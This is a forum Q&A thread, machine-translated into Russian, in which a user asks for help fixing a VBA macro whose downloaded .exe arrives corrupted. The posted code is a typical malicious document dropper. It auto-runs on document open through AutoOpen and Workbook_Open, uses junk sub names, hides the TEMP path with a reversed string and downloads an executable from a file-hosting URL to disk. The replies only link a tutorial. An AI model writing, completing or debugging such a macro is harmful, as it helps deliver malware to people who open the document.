Member 10285969 Ответов: 1

Как скачать двоичный файл из интернета с помощью VB-скрипта?

Здравствуйте, пожалуйста, у меня возникли трудности с загрузкой двоичного файла из интернета.
у меня есть этот рабочий код для загрузки, но если я проверю загруженный двоичный файл, его размер сильно отличается от оригинала, а также он не будет работать, потому что он поврежден. пожалуйста, помогите мне, потому что я не очень хорош в написании сценариев. просто скопировал и отредактировал код.

Что я уже пробовал:

<pre>Sub ertrettggdfg()
    sdfertunn
End Sub

Sub AutoOpen()
    ertrettggdfg
End Sub

Sub Workbook_Open()
    ertrettggdfg
End Sub

Sub sdfertunn()
Dim http_obj
Dim stream_obj
Dim shell_obj

Set http_obj = CreateObject("Microsoft.XMLHTTP")
Set stream_obj = CreateObject("ADODB.Stream")
Set shell_obj = CreateObject("WScript.Shell")

URL = "http://www.mediafire.com/file/file.exe" 'Where to download the file from
FileName = Environ(StrReverse("PMET")) & "/file.exe" 'Name to save the file (on the local system)

http_obj.Open "GET", URL, False
http_obj.send

stream_obj.Type = 1
stream_obj.Open
stream_obj.write http_obj.responseBody
stream_obj.savetofile FileName, 2
End Sub

Member 10285969

Пожалуйста, кто-нибудь, кто-нибудь, помогите мне... Или он не загружается так, как должен? MediaFire.com?

1 Ответов

Рейтинг:
0

Richard MacCutchan

Видеть Использование объекта Microsoft XMLHTTP для получения данных с других веб-страниц - 4GuysFromRolla.com[^].

Member 10285969

Извините, это действительно хорошая ссылка, но, как я уже сказал, Я мало знаю о vbs, поэтому не знаю, как скачать файл .exe с mediafire.com используя этот образец ссылки.

Richard MacCutchan

Если вы прокрутите вниз до раздела, озаглавленного "получение двоичных данных", он объяснит, какие дополнительные параметры вам нужно указать. Однако вместо того, чтобы тратить свое время на этот код, вы можете загрузить его за считанные секунды с помощью своего браузера.

Member 10285969

Пожалуйста, мне нужно использовать пример двоичного файла, загруженного с mediafire.com.
Это конкурсный проект, который нам дали в школе, и мне действительно нужно сделать это правильно. пожалуйста, не могли бы вы просто помочь мне с примером двоичного файла mediafire, загруженного через vbScript.